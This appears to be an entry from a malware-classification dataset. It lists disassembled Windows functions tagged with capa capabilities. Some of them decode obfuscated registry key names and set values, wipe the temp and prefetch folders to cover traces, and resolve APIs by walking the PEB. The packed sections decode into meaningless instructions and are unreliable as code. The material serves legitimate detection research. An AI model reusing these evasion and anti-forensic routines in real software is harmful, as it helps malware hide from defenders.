joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015820
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d408
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x10029018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0xa9
xor eax, eax
mov dl, byte [eax + 0x100242d8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x7c], dl
jns 0x10015871
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3e
jl 0x10015854
push 0x10159868
push 0xf003f
push ebx
lea eax, [ebp - 0x7c]
push eax
push 0x80000002
mov byte [ebp - 0x3e], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, 1
mov eax, 0x10024318
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10001070
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
call fcn.10002d90
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x100158c3
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.10016090
push 1
mov eax, 0x1002431c
lea ecx, [ebp - 0x2c]
call fcn.10016090
call fcn.10002d90
mov ecx, eax
lea esi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x100158f0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.10016090
push 1
mov eax, 0x1002431c
lea ecx, [ebp - 0x2c]
call fcn.10016090
call fcn.10002d90
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x10015920
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x10015920
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.10016090
push 1
mov eax, 0x1002431c
lea ecx, [ebp - 0x2c]
call fcn.10016090
call fcn.10002d90
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x10015950
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x10015950
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.10016090
push 1
mov eax, 0x1002431c
lea ecx, [ebp - 0x2c]
call fcn.10016090
call fcn.10002d90
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x10015980
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x10015980
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.10016090
push 1
mov eax, 0x10024320
lea ecx, [ebp - 0x2c]
call fcn.10016090
mov ecx, 0xa9
xor eax, eax
jmp 0x100159b0
mov dl, byte [eax + 0x10024324]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x100159cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x100159b0
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
mov byte [ebp - 0x2f], bl
cmp dword [ebp - 0x18], esi
jae 0x100159e6
lea eax, [ebp - 0x2c]
mov ecx, dword [0x10159868]
push 0x1f
push eax
push 1
push ebx
lea eax, [ebp - 0x3c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x10159868]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], esi
jb 0x10015a1c
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001af22
mov esp, ebp
pop ebp
ret
Function at 0x10015ef0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x10029018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_sprintf]
push edi
push esi
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x110], 0x2a5c7325
mov word [ebp - 0x10c], 0x2a2e
mov byte [ebp - 0x10a], 0
call ebx
add esp, 0xc
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
nop
lea ecx, [ebp - 0x224]
push ecx
push esi
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - 0x110], 0x255c7325
mov word [ebp - 0x10c], 0x73
call ebx
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x110], eax
mov word [ebp - 0x10c], ax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x250]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10015f50
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1001af22
mov esp, ebp
pop ebp
ret

Function at 0x10015fd0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x10029018]
xor eax, esp
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1001606a
push 0x1015bec0
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, 0x1015bec0
call fcn.10015ef0
mov esi, str.C:Windowsprefetch
call fcn.10015ef0
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], 0x742e4d47
mov word [esp + 0x14], 0x7478
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
mov dword [esp + 0xc], eax
mov word [esp + 0x10], ax
mov byte [esp + 0x12], al
call fcn.1001ae50
mov edi, 0x1000f490
mov ecx, eax
call fcn.1001ad80
call fcn.1001ae50
mov edi, 0x10015a40
mov ecx, eax
call fcn.1001ad80
mov ecx, dword [esp + 0x14]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.1001af22
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100178e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d2f8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10029018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x10017a38
cmp byte [edi + 0x49], 0
je 0x10017a38
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x10017a2c
lea esi, [ebp - 0x2c]
call fcn.100176d0
mov dword [ebp - 4], 0
mov ebx, 0x10
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
cmp eax, ebx
jae 0x1001798b
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10017990
dec eax
je 0x10017994
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x10017a33
call fcn.10001040
xor al, al
jmp 0x10017a3a
mov eax, dword [ebp - 0x2c]
jmp 0x10017955
mov byte [edi + 0x49], 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov eax, edx
cmp ecx, ebx
jae 0x100179a3
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, eax
je 0x100179c8
mov eax, edx
cmp ecx, ebx
jae 0x100179b3
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x10017a24
cmp byte [edi + 0x49], 0
je 0x10017a30
test esi, esi
jne 0x10017946
mov eax, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, eax
cmp edx, 8
jbe 0x10017a55
lea esi, [eax + 8]
lea eax, [ebp - 0x2c]
call fcn.10001140
test al, al
je 0x10017946
mov ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jae 0x10017a01
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x18], ebx
jae 0x10017a1b
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x10017946
lea esi, [ebp - 0x2c]
call fcn.10001040
xor al, al
jmp 0x10017a3a
lea esi, [ebp - 0x2c]
call fcn.10001040
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001af22
mov esp, ebp
pop ebp
ret
push 0x10020a6c
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x100186a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xf1
xor ecx, ecx
jmp 0x100186b0
mov al, byte [edi + ecx - 0x210f19]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100186cd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100186b0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10018d70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10018d80
mov al, byte [edi + ecx - 0x321a2a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10018d9d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0x26
jl 0x10018d80
mov byte [esi + 0x26], 0
mov eax, esi
ret

Function at 0x10018db0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10018dc0
mov al, byte [edi + ecx - 0x321a2a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10018ddd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0x20
jl 0x10018dc0
mov byte [esi + 0x20], 0
mov eax, esi
ret

Function at 0x10019570
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x29
xor ecx, ecx
jmp 0x10019580
mov al, byte [edi + ecx + 0x1e7b41dd]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001959d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10019580
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100195b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x6c
xor ecx, ecx
jmp 0x100195c0
mov al, byte [edi + ecx + 0x6fad512a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100195dd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100195c0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100195f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x49
xor ecx, ecx
jmp 0x10019600
mov al, byte [edi + ecx + 0x16440e0f]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001961d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10019600
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10019d00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xfa
xor ecx, ecx
jmp 0x10019d10
mov al, byte [edi + ecx - 0x2b3158]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10019d2d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10019d10
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10019ff0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x1f
xor ecx, ecx
jmp 0x1001a000
mov al, byte [edi + ecx - 0x97d5a03]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a01d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a000
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a3f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x1d
xor ecx, ecx
jmp 0x1001a400
mov al, byte [edi + ecx - 0x1a1d45]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a41d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a400
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x1001abb0
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001cfd8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10029018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
xor edx, edx
mov ecx, 0x49
xor eax, eax
lea esp, [esp]
mov bl, byte [eax + 0x10024484]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x20], bl
jns 0x1001ac0d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1001abf0
mov byte [ebp - 0x14], dl
mov dword [ebp - 4], edx
mov dword [ebp - 0x2c], edx
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 0x2c], ebx
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x20]
push ecx
push edx
call fcn.1001a970
add esp, 8
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0xffffffff
push dword [ebp - 0x30]
call dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1001ac61
xor eax, eax
jmp 0x1001ac98
push esi
push eax
call fcn.1001a970
add esp, 8
mov dword [ebp - 0x34], eax
test eax, eax
je 0x1001ac5d
test edi, edi
jle 0x1001ac8f
lea eax, [ebp + 0xc]
mov ecx, edi
jmp 0x1001ac80
mov edx, dword [eax + 4]
add eax, 4
mov dword [ebp - 0x30], edx
push dword [ebp - 0x30]
dec ecx
jne 0x1001ac80
call dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001af22
mov esp, ebp
pop ebp
ret

Function at 0x1001af22
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10029018]
jne 0x1001af2c
repz ret
jmp fcn.1001b3eb
Function at 0x44b6d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov cl, byte [0x65f042]
mov al, byte [0x65f041]
invalid

Function at 0x4d465b
Capabilities:
Encode data using xor

Disassembly:
inc edi
invalid
out 0x48, al
ror byte [ebp - 0x660df1ab], cl
cli
xchg ecx, eax
jne 0x4d45b5
mov byte [edi], bl
sbb dword [ebp - 0x3e5087a6], esp
pop ss
pop edx
and al, 0x37
jb 0x4d4542
adc byte [ebp + 0x7445bc33], 0x3a
dec ecx
mov esp, 0x493a7445
dec edx
dec esi
xchg edx, eax
push ebx
jo 0x4d4608
mov al, byte [0x14b7b19d]
dec esp
sbb eax, 0x873327dd
inc edi
insd dword es:[edi], dx
leave
call 0xe2106f15
aad 0xcb
outsd dx, dword [esi]
xchg esp, eax
in eax, dx
dec dword [esi - 8]
jno 0x4d463a
loop 0x4d465a
nop
imul eax, dword [edi - 0x6e], 0x26
adc al, 0xe9
xchg dword [edi + edx + 0x51], esi
rcr dword [eax], 0xb4
loopne 0x4d4598
mov dword [0x37c7179f], eax
and eax, 0x56243352
add edx, dword [ebx + 0x7166c8f1]
mov eax, dword [0xcbb2e08f]
rol byte [ecx - 0x29423ed9], 0xb3
mov eax, dword [0x1457fc08]
int1
lahf
pop ss
invalid
daa
sar dword [ebp + 0x8a1b3d6], 0xfc
push edi
adc al, 0xf1
pop es
push edi
adc ah, byte [ebx - 0x54387dd8]
mov eax, dword [0xdb5ad87]
lodsd eax, dword [esi]
mov ch, 0xd
jg 0x4d4633
push ebx
pushal
or edi, dword [edx + 0x7b]
sub bh, dh
sbb byte [ebp + 0x4c], ah
mov dh, 0x76
dec eax
inc edi
lea esi, [ebx + 0x1eaac441]
mov dword [edx], ebp
invalid
les ebp, [edx - 0x26d576e2]
jecxz 0x4d45f2
mov bh, 0xfe
pop dword [edi]
inc edi
inc esi
dec esp
dec byte [edi + 0x4c464707]
fst dword [edi + 0x57745967]
push edi
lodsd eax, dword [esi]
in eax, dx
jecxz 0x4d461e
in al, 0x32
mov al, 0x37
sahf
jns 0x4d45df
dec eax
cmp byte [edi + 0x694b5fe], ah
push es
sbb al, 0x84
test cl, 0x14
sbb eax, 0xe1d0bdec
mov dh, 0x9d
loope 0x4d461d
popfd
ja 0x4d4646
xor ebx, dword [esi + 0x5df1fba6]
mov dh, 0x1c
or byte [eax - 0x61], cl
jne 0x4d4665
pop ss
xchg dword [eax - 0x19], eax
xor eax, 0x137938ff
jnp 0x4d469d
insd dword es:[edi], dx
mov ebx, 0x3161a562
rcl dword [ebp - 0xee21107]
or byte [ebx + 0x37], cl
adc eax, 0x211a5555
fisttp dword [edi + 0xcbea70b]
sub byte [ecx], dl
invalid
adc eax, esi
ret 0x8173
Function at 0x569bdb
Capabilities:
Encode data using xor

Disassembly:
push edi
pop ebp
xor byte [ecx - 0x50], cl
push eax
mov al, byte [0x8b6481d5]
xchg esp, eax
je 0x569bf6
fidiv dword [ebp - 0x1bb45788]
and dword [edx + 0x50], ebx
mov ecx, dword [esi]
out 0x84, eax
xor dword [ebp + 0x4d9e77d8], 0xffffffa5
loopne 0x569c0e
push ebx
dec esp
xchg edi, eax
push ebx
pop ds
and byte [esi - 0x4b], bl
push eax
xchg ebp, eax
push edi
add al, 0x5d
test dh, cl
les esp, [esi]
dec edi
add byte [eax - 0x7201ee6b], dh
invalid
xchg esi, eax
cmp bl, dl
and esp, dword [ecx + 0x61]
adc al, 0x10
jecxz 0x569c38
mov bl, 0xf7
out 0x34, al
mov ch, byte [eax]
sub bl, cl
inc ebp
jle 0x569bf4
jne 0x569b86
or ah, byte [ecx]
invalid
push 0x44d320ac
pop ds
adc bl, byte [ebx]
push eax
mov al, byte [0xb48dc140]
sub byte [esi], dh
cmpsd dword [si], dword es:[di]
sbb edx, dword [eax - 0x60]
inc eax
ror dword [ebp + 0x673628b4], 0xa7
mov byte [0xfa57f6e5], al
adc dh, ch
cmc
or al, 0xce
xor bl, 0xd2
loope 0x569bfd
push ecx
iretd
xchg byte [ebx + 0x1f32c1a1], al
cmpsd dword [esi], dword es:[edi]
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
test al, 0x63
iretd

Function at 0x576c6f
Capabilities:
Packed with generic packer

Disassembly:
test eax, eax
je 0x576c7d
call dword [0x10070]
test eax, eax
jne 0x576c7f
add eax, 0xe902b000
sub dword [ecx], eax
add byte [eax], al
add byte [ecx], al
or byte [ebp + 0xd3274c9], al
add byte [eax + ebx + 0x50], dh
mov eax, ecx
call dword [0x870100]
pop ecx
or eax, eax
lahf
add byte [ecx + 0x2b0c301], cl
jmp 0x586caf
mov al, 2
jmp fcn.00576daf
jne 0x586d1f
and eax, 0x949e3c6f
retf
invalid
pushal
js 0x586cf6
shl bl, cl
mov cl, 0x76
pop edi
mov bl, 0x9e
invalid

Function at 0x5d5477
Capabilities:
Encode data using xor

Disassembly:
cmp edx, esp
pop edi
jne 0x5d54c0
jmp dword [edx + 0x2a]
out dx, eax
fiadd word [edi]
test eax, 0x5ceac55a
mov esp, 0x14c4887a
fcmovu st(0), st(5)
pop ds
jp 0x5d5549
inc ebp
jg 0x5d5548
dec ebp
xchg esi, eax
insd dword es:[edi], dx
movsb byte es:[edi], byte [esi]
fcom qword [ebp - 0xa85eeed]
loop 0x5d5540
invalid
sbb eax, 0x74d89cf
lodsb al, byte [esi]
and esi, edx
retf
clc
or eax, 0x6665ed26
pop esp
xchg ebx, eax
sub eax, dword [ebx + 0x2d0d3944]
pop edi
aas
fsubr st(3), st(0)
push ss
out dx, al
lodsb al, byte [esi]
jp 0x5d55d6
invalid
std
xchg esp, eax
xchg byte [esi], bl
cmp edx, dword [esi + ecx*8]
insd dword es:[edi], dx
adc al, 0x3d
aam 0x5d
or edx, ebp
invalid
mov byte [ebp - 0x1b902230], 0x2c
imul eax, dword [ebx], 0x647caded
mov word [eax], gs
xor al, 0x98
cwde
xchg esp, eax
fdivr dword [edi]
dec ecx
jp 0x5d55c6
inc edx
ja 0x5d55fa
pop ebp
jb 0x5d5590
or ebx, dword [ebx + 0x3d]
in al, dx
int3
cmp esi, dword [edx]
invalid
Function at 0x1001e1d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
cmp dword [ecx + 0x1c], 4
jne 0x1001e1e5
pop ebp
jmp fcn.1001de70
pop ebp
jmp fcn.1002b7b0
Function at 0x1002d210
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3fc
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x3f8], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [esi + 0x1c], ebx
cmp ebx, 4
jne 0x1002d242
mov dword [esi + 0x20], 0
cmp byte [esi + 1], 0
jne 0x1002d25e
lea eax, [esi + 0x6c]
mov ecx, esi
push str.B_include_B_include_winapi
push eax
lea edx, [esi + 0x68]
call fcn.1002bce0
add esp, 8
cmp byte [esi + 0x31], 0
je 0x1002d293
push 3
push 1
mov edx, str..bounds
mov ecx, esi
call fcn.1001c1d0
push 3
push 1
mov edx, str..lbounds
mov dword [esi + 0x370], eax
mov ecx, esi
call fcn.1001c1d0
add esp, 0x10
mov dword [esi + 0x374], eax
cmp byte [esi + 0x2f], 0
je 0x1002d38b
xor edi, edi
cmp byte [esi + 0x30], 0
je 0x1002d2b1
cmp dword [esi + 0x1c], 1
mov eax, 3
cmovne edi, eax
push edi
push 1
mov edx, str..stab
mov ecx, esi
call fcn.1001c1d0
mov dword [esi + 0x37c], eax
mov edx, str..stabstr
push edi
push 3
mov dword [eax + 0x28], 0xc
mov ecx, esi
mov eax, dword [esi + 0x37c]
mov dword [eax + 0x24], 4
call fcn.1001c1d0
mov ecx, dword [esi + 0x37c]
add esp, 0x10
mov dword [ecx + 0x40], eax
mov edi, dword [esi + 0x37c]
cmp dword [edi + 0x18], 8
mov ecx, dword [edi]
mov dword [esp + 0x10], ecx
lea ebx, [ecx + 0xc]
je 0x1002d31c
cmp ebx, dword [edi + 8]
jbe 0x1002d31c
mov edx, ebx
mov ecx, edi
call fcn.1001c470
mov ecx, dword [esp + 0x10]
cmp dword [edi + 0x24], 1
mov dword [edi], ebx
jge 0x1002d32b
mov dword [edi + 0x24], 1
mov eax, dword [esi + 0x37c]
mov ebx, dword [edi + 4]
add ebx, ecx
mov edi, dword [eax + 0x40]
cmp dword [edi + 0x18], 8
mov ecx, dword [edi]
mov dword [esp + 0x14], ecx
lea eax, [ecx + 1]
mov dword [esp + 0x10], eax
je 0x1002d362
cmp eax, dword [edi + 8]
jbe 0x1002d362
mov edx, eax
mov ecx, edi
call fcn.1001c470
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
cmp dword [edi + 0x24], 1
mov dword [edi], eax
jge 0x1002d371
mov dword [edi + 0x24], 1
mov eax, dword [edi + 4]
mov byte [ecx + eax], 0
mov dword [ebx], ecx
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov ebx, dword [ebp + 0xc]
lea edi, [esi + 0x74]
mov ecx, esi
push str.B_lib
lea edx, [esi + 0x70]
push edi
call fcn.1002bce0
add esp, 8
cmp byte [esi + 2], 0
jne 0x1002d3eb
cmp ebx, 4
je 0x1002d3eb
push 0x3e8
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov cl, byte [esp + 0x18]
lea eax, [esp + 0x18]
test cl, cl
je 0x1002d3d8
cmp cl, 0x5c
jne 0x1002d3d0
mov byte [eax], 0x2f
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1002d3c8
lea eax, [esp + 0x18]
mov ecx, esi
push eax
push edi
lea edx, [esi + 0x70]
call fcn.1002bce0
add esp, 8
mov ecx, dword [esp + 0x404]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1002fab8
mov esp, ebp
pop ebp
ret
Function at 0x10033328
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10033367
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10033367
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10033367
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10033367
cmp dword [ecx + 0x74], 0xe
jbe 0x10033367
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1003faaa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1005e1b8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1003faea
cmp byte [ebx], 0xa
jne 0x1003faea
or byte [edi + eax + 0x28], 4
jmp 0x1003faef
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1003fbee
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1003fbd1
inc eax
cmp dl, 0xd
je 0x1003fb1b
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1003fb41
cmp eax, ecx
jae 0x1003fb4f
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1003fb03
jmp 0x1003fbee
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1003fbcc
cmp dword [ebp - 0x10], 0
je 0x1003fbcc
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1005e1b8]
test byte [eax + edi + 0x28], 0x48
je 0x1003fba6
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1003fb91
mov byte [esi], dl
jmp 0x1003fba2
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1005e1b8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1003fbee
cmp byte [ebp - 1], 0xa
jne 0x1003fbb5
cmp esi, ebx
jne 0x1003fbb5
mov byte [esi], 0xa
jmp 0x1003fbed
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1004128c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1003fbee
mov byte [esi], 0xd
jmp 0x1003fbed
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1005e1b8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1003fbeb
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1003fbee
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
